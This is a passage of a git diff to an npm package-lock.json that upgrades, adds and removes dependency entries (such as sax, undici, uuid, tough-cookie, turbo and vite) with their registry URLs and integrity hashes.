"4.59.0", + "@rollup/rollup-darwin-x64": "4.59.0", + "@rollup/rollup-freebsd-arm64": "4.59.0", + "@rollup/rollup-freebsd-x64": "4.59.0", + "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", + "@rollup/rollup-linux-arm-musleabihf": "4.59.0", + "@rollup/rollup-linux-arm64-gnu": "4.59.0", + "@rollup/rollup-linux-arm64-musl": "4.59.0", + "@rollup/rollup-linux-loong64-gnu": "4.59.0", + "@rollup/rollup-linux-loong64-musl": "4.59.0", + "@rollup/rollup-linux-ppc64-gnu": "4.59.0", + "@rollup/rollup-linux-ppc64-musl": "4.59.0", + "@rollup/rollup-linux-riscv64-gnu": "4.59.0", + "@rollup/rollup-linux-riscv64-musl": "4.59.0", + "@rollup/rollup-linux-s390x-gnu": "4.59.0", + "@rollup/rollup-linux-x64-gnu": "4.59.0", + "@rollup/rollup-linux-x64-musl": "4.59.0", + "@rollup/rollup-openbsd-x64": "4.59.0", + "@rollup/rollup-openharmony-arm64": "4.59.0", + "@rollup/rollup-win32-arm64-msvc": "4.59.0", + "@rollup/rollup-win32-ia32-msvc": "4.59.0", + "@rollup/rollup-win32-x64-gnu": "4.59.0", + "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" } }, @@ -38900,9 +40041,9 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, "node_modules/sax": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.1.tgz", - "integrity": "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==" + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.5.0.tgz", + "integrity": "sha512-21IYA3Q5cQf089Z6tgaUTr7lDAyzoTPx5HRtbhsME8Udispad8dC/+sziTNugOEx54ilvatQ9YCzl4KQLPcRHA==" }, "node_modules/saxes": { "version": "6.0.0", @@ -38925,25 +40066,6 @@ "loose-envify": "^1.1.0" } }, - "node_modules/schema-utils": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", - "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", - "dev": true, - "peer": true, - "dependencies": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - }, - "engines": { - "node": ">= 10.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, "node_modules/seedrandom": { "version": "3.0.5", "resolved": "https://registry.npmjs.org/seedrandom/-/seedrandom-3.0.5.tgz", @@ -39018,9 +40140,9 @@ } }, "node_modules/serialize-javascript": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", - "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-7.0.4.tgz", + "integrity": "sha512-DuGdB+Po43Q5Jxwpzt1lhyFSYKryqoNjQSA9M92tyw0lyHIOur+XCalOUe0KTJpyqzT8+fQ5A0Jf7vCx/NKmIg==", "dev": true, "dependencies": { "randombytes": "^2.1.0" @@ -39092,7 +40214,6 @@ "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", - "dev": true, "license": "MIT" }, "node_modules/setprototypeof": { @@ -39334,7 +40455,8 @@ "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", "deprecated": "Please use @jridgewell/sourcemap-codec instead", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/space-separated-tokens": { "version": "2.0.2", @@ -39357,7 +40479,6 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", - "dev": true, "license": "BSD-3-Clause" }, "node_modules/sse.js": { @@ -39415,6 +40536,12 @@ "resolved": "https://registry.npmjs.org/standard-as-callback/-/standard-as-callback-2.1.0.tgz", "integrity": "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A==" }, + "node_modules/state-local": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", + "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==", + "license": "MIT" + }, "node_modules/static-browser-server": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/static-browser-server/-/static-browser-server-1.0.3.tgz", @@ -39748,6 +40875,7 @@ "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz", "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { "get-own-enumerable-property-symbols": "^3.0.0", "is-obj": "^1.0.1", @@ -39795,6 +40923,7 @@ "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz", "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==", "dev": true, + "license": "MIT", "engines": { "node": ">=10" } @@ -39834,25 +40963,16 @@ } }, "node_modules/strnum": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-1.0.5.tgz", - "integrity": "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA==" - }, - "node_modules/strtok3": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-7.0.0.tgz", - "integrity": "sha512-pQ+V+nYQdC5H3Q7qBZAz/MO6lwGhoC2gOAjuouGf/VO0m7vQRh8QNMl2Uf6SwAtzZ9bOw3UIeBukEGNJl5dtXQ==", - "dependencies": { - "@tokenizer/token": "^0.3.0", - "peek-readable": "^5.0.0" - }, - "engines": { - "node": ">=14.16" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" - } + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.1.2.tgz", + "integrity": "sha512-l63NF9y/cLROq/yqKXSLtcMeeyOfnSQlfMSlzFt/K73oIaD8DGaQWd7Z34X9GPiKqP5rbSh84Hl4bOlLcjiSrQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT" }, "node_modules/style-inject": { "version": "0.3.0", @@ -39956,12 +41076,12 @@ } }, "node_modules/sucrase/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", "license": "ISC", "dependencies": { - "brace-expansion": "^2.0.1" + "brace-expansion": "^2.0.2" }, "engines": { "node": ">=16 || 14 >=14.17" @@ -40053,18 +41173,18 @@ } }, "node_modules/svgo": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", - "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "version": "2.8.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.2.tgz", + "integrity": "sha512-TyzE4NVGLUFy+H/Uy4N6c3G0HEeprsVfge6Lmq+0FdQQ/zqoVYB62IsBZORsiL+o96s6ff/V6/3UQo/C0cgCAA==", "dev": true, "license": "MIT", "dependencies": { - "@trysound/sax": "0.2.0", "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", + "sax": "^1.5.0", "stable": "^0.1.8" }, "bin": { @@ -40288,6 +41408,7 @@ "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", "dev": true, + "license": "MIT", "engines": { "node": ">=8" } @@ -40297,6 +41418,7 @@ "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz", "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==", "dev": true, + "license": "MIT", "dependencies": { "is-stream": "^2.0.0", "temp-dir": "^2.0.0", @@ -40310,18 +41432,6 @@ "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/tempy/node_modules/type-fest": { - "version": "0.16.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz", - "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==", - "dev": true, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/terser": { "version": "5.27.0", "resolved": "https://registry.npmjs.org/terser/-/terser-5.27.0.tgz", @@ -40340,72 +41450,6 @@ "node": ">=10" } }, - "node_modules/terser-webpack-plugin": { - "version": "5.3.10", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz", - "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==", - "dev": true, - "peer": true, - "dependencies": { - "@jridgewell/trace-mapping": "^0.3.20", - "jest-worker": "^27.4.5", - "schema-utils": "^3.1.1", - "serialize-javascript": "^6.0.1", - "terser": "^5.26.0" - }, - "engines": { - "node": ">= 10.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - }, - "peerDependencies": { - "webpack": "^5.1.0" - }, - "peerDependenciesMeta": { - "@swc/core": { - "optional": true - }, - "esbuild": { - "optional": true - }, - "uglify-js": { - "optional": true - } - } - }, - "node_modules/terser-webpack-plugin/node_modules/jest-worker": { - "version": "27.5.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", - "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", - "dev": true, - "peer": true, - "dependencies": { - "@types/node": "*", - "merge-stream": "^2.0.0", - "supports-color": "^8.0.0" - }, - "engines": { - "node": ">= 10.13.0" - } - }, - "node_modules/terser-webpack-plugin/node_modules/supports-color": { - "version": "8.1.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", - "dev": true, - "peer": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/supports-color?sponsor=1" - } - }, "node_modules/terser/node_modules/commander": { "version": "2.20.3", "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", @@ -40493,11 +41537,6 @@ "node": ">=0.8" } }, - "node_modules/tiktoken": { - "version": "1.0.15", - "resolved": "https://registry.npmjs.org/tiktoken/-/tiktoken-1.0.15.tgz", - "integrity": "sha512-sCsrq/vMWUSEW29CJLNmPvWxlVp7yh2tlkAjpJltIKqp5CKf98ZNpdeHRmAlPVFlGEbswDc6SmI8vz64W/qErw==" - }, "node_modules/timers-browserify": { "version": "2.0.12", "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.12.tgz", @@ -40527,14 +41566,14 @@ } }, "node_modules/tinyglobby": { - "version": "0.2.13", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.13.tgz", - "integrity": "sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw==", + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", "dev": true, "license": "MIT", "dependencies": { - "fdir": "^6.4.4", - "picomatch": "^4.0.2" + "fdir": "^6.5.0", + "picomatch": "^4.0.3" }, "engines": { "node": ">=12.0.0" @@ -40544,11 +41583,14 @@ } }, "node_modules/tinyglobby/node_modules/fdir": { - "version": "6.4.4", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.4.4.tgz", - "integrity": "sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg==", + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", "dev": true, "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, "peerDependencies": { "picomatch": "^3 || ^4" }, @@ -40559,9 +41601,9 @@ } }, "node_modules/tinyglobby/node_modules/picomatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz", - "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", "engines": { @@ -40598,9 +41640,9 @@ "dev": true }, "node_modules/to-buffer": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.1.tgz", - "integrity": "sha512-tB82LpAIWjhLYbqjx3X4zEeHN6M8CiuOEy2JY8SEQVdYRe3CCHOFaqrBW1doLDrfpWhplcW7BL+bO3/6S3pcDQ==", + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.2.tgz", + "integrity": "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==", "dev": true, "license": "MIT", "dependencies": { @@ -40636,22 +41678,6 @@ "node": ">=0.6" } }, - "node_modules/token-types": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/token-types/-/token-types-5.0.1.tgz", - "integrity": "sha512-Y2fmSnZjQdDb9W4w4r1tswlMHylzWIeOKpx0aZH9BgGtACHhrk3OkT52AzwcuqTRBZtvvnTjDBh8eynMulu8Vg==", - "dependencies": { - "@tokenizer/token": "^0.3.0", - "ieee754": "^1.2.1" - }, - "engines": { - "node": ">=14.16" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" - } - }, "node_modules/touch": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz", @@ -40665,39 +41691,28 @@ } }, "node_modules/tough-cookie": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", - "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz", + "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { - "psl": "^1.1.33", - "punycode": "^2.1.1", - "universalify": "^0.2.0", - "url-parse": "^1.5.3" + "tldts": "^6.1.32" }, "engines": { - "node": ">=6" - } - }, - "node_modules/tough-cookie/node_modules/universalify": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", - "dev": true, - "engines": { - "node": ">= 4.0.0" + "node": ">=16" } }, "node_modules/tr46": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", - "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", - "dev": true, + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", + "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", + "license": "MIT", "dependencies": { - "punycode": "^2.1.1" + "punycode": "^2.3.1" }, "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/traverse": { @@ -40874,6 +41889,108 @@ "dev": true, "license": "MIT" }, + "node_modules/turbo": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/turbo/-/turbo-2.8.12.tgz", + "integrity": "sha512-auUAMLmi0eJhxDhQrxzvuhfEbICnVt0CTiYQYY8WyRJ5nwCDZxD0JG8bCSxT4nusI2CwJzmZAay5BfF6LmK7Hw==", + "dev": true, + "license": "MIT", + "bin": { + "turbo": "bin/turbo" + }, + "optionalDependencies": { + "turbo-darwin-64": "2.8.12", + "turbo-darwin-arm64": "2.8.12", + "turbo-linux-64": "2.8.12", + "turbo-linux-arm64": "2.8.12", + "turbo-windows-64": "2.8.12", + "turbo-windows-arm64": "2.8.12" + } + }, + "node_modules/turbo-darwin-64": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/turbo-darwin-64/-/turbo-darwin-64-2.8.12.tgz", + "integrity": "sha512-EiHJmW2MeQQx+21x8hjMHw/uPhXt9PIxvDrxzOtyVwrXzL0tQmsxtO4qHf2l7uA+K6PUJ4+TjY1MHZDuCvWXrw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/turbo-darwin-arm64": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/turbo-darwin-arm64/-/turbo-darwin-arm64-2.8.12.tgz", + "integrity": "sha512-cbqqGN0vd7ly2TeuaM8k9AK9u1CABO4kBA5KPSqovTiLL3sORccn/mZzJSbvQf0EsYRfU34MgW5FotfwW3kx8Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/turbo-linux-64": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/turbo-linux-64/-/turbo-linux-64-2.8.12.tgz", + "integrity": "sha512-jXKw9j4r4q6s0goSXuKI3aKbQK2qiNeP25lGGEnq018TM6SWRW1CCpPMxyG91aCKrub7wDm/K45sGNT4ZFBcFQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/turbo-linux-arm64": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/turbo-linux-arm64/-/turbo-linux-arm64-2.8.12.tgz", + "integrity": "sha512-BRJCMdyXjyBoL0GYpvj9d2WNfMHwc3tKmJG5ATn2Efvil9LsiOsd/93/NxDqW0jACtHFNVOPnd/CBwXRPiRbwA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/turbo-windows-64": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/turbo-windows-64/-/turbo-windows-64-2.8.12.tgz", + "integrity": "sha512-vyFOlpFFzQFkikvSVhVkESEfzIopgs2J7J1rYvtSwSHQ4zmHxkC95Q8Kjkus8gg+8X2mZyP1GS5jirmaypGiPw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/turbo-windows-arm64": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/turbo-windows-arm64/-/turbo-windows-arm64-2.8.12.tgz", + "integrity": "sha512-9nRnlw5DF0LkJClkIws1evaIF36dmmMEO84J5Uj4oQ8C0QTHwlH7DNe5Kq2Jdmu8GXESCNDNuUYG8Cx6W/vm3g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, "node_modules/type": { "version": "2.7.3", "resolved": "https://registry.npmjs.org/type/-/type-2.7.3.tgz", @@ -40896,10 +42013,24 @@ "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", "dev": true, + "license": "MIT", "engines": { "node": ">=4" } }, + "node_modules/type-fest": { + "version": "0.16.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz", + "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/type-is": { "version": "1.6.18", "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", @@ -41097,6 +42228,18 @@ "resolved": "https://registry.npmjs.org/uid2/-/uid2-0.0.4.tgz", "integrity": "sha512-IevTus0SbGwQzYh3+fRsAMTVVPOoIVufzacXcHPmdlle1jUpq7BRL+mw3dgeLanvGZdwwbWhRV6XrcFNdBmjWA==" }, + "node_modules/uint8array-extras": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", + "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/unbox-primitive": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", @@ -41122,10 +42265,16 @@ "integrity": "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA==", "dev": true }, + "node_modules/underscore": { + "version": "1.13.8", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.8.tgz", + "integrity": "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ==", + "license": "MIT" + }, "node_modules/undici": { - "version": "7.18.2", - "resolved": "https://registry.npmjs.org/undici/-/undici-7.18.2.tgz", - "integrity": "sha512-y+8YjDFzWdQlSE9N5nzKMT3g4a5UBX1HKowfdXh0uvAnTaqqwqB92Jt4UXBAeKekDs5IaDKyJFR4X1gYVCgXcw==", + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.24.1.tgz", + "integrity": "sha512-5xoBibbmnjlcR3jdqtY2Lnx7WbrD/tHlT01TmvqZUFVc9Q1w4+j5hbnapTqbcXITMH1ovjq/W7BkqBilHiVAaA==", "license": "MIT", "engines": { "node": ">=20.18.1" @@ -41236,6 +42385,7 @@ "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", "dev": true, + "license": "MIT", "dependencies": { "crypto-random-string": "^2.0.0" }, @@ -41439,6 +42589,7 @@ "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", "dev": true, + "license": "MIT", "engines": { "node": ">=4", "yarn": "*" @@ -41498,16 +42649,6 @@ "node": ">= 0.4" } }, - "node_modules/url-parse": { - "version": "1.5.10", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", - "dev": true, - "dependencies": { - "querystringify": "^2.1.1", - "requires-port": "^1.0.0" - } - }, "node_modules/url/node_modules/punycode": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", @@ -41632,15 +42773,16 @@ } }, "node_modules/uuid": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-9.0.1.tgz", - "integrity": "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==", + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.0.tgz", + "integrity": "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==", "funding": [ "https://github.com/sponsors/broofa", "https://github.com/sponsors/ctavan" ], + "license": "MIT", "bin": { - "uuid": "dist/bin/uuid" + "uuid": "dist/esm/bin/uuid" } }, "node_modules/v8-compile-cache-lib": { @@ -41782,81 +42924,6 @@ "node": ">=4" } }, - "node_modules/vite": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz", - "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.25.0", - "fdir": "^6.4.4", - "picomatch": "^4.0.2", - "postcss": "^8.5.3", - "rollup": "^4.34.9", - "tinyglobby": "^0.2.13" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^18.0.0 || ^20.0.0 || >=22.0.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", - "jiti": ">=1.21.0", - "less": "*", - "lightningcss": "^1.21.0", - "sass": "*", - "sass-embedded": "*", - "stylus": "*", - "sugarss": "*", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { 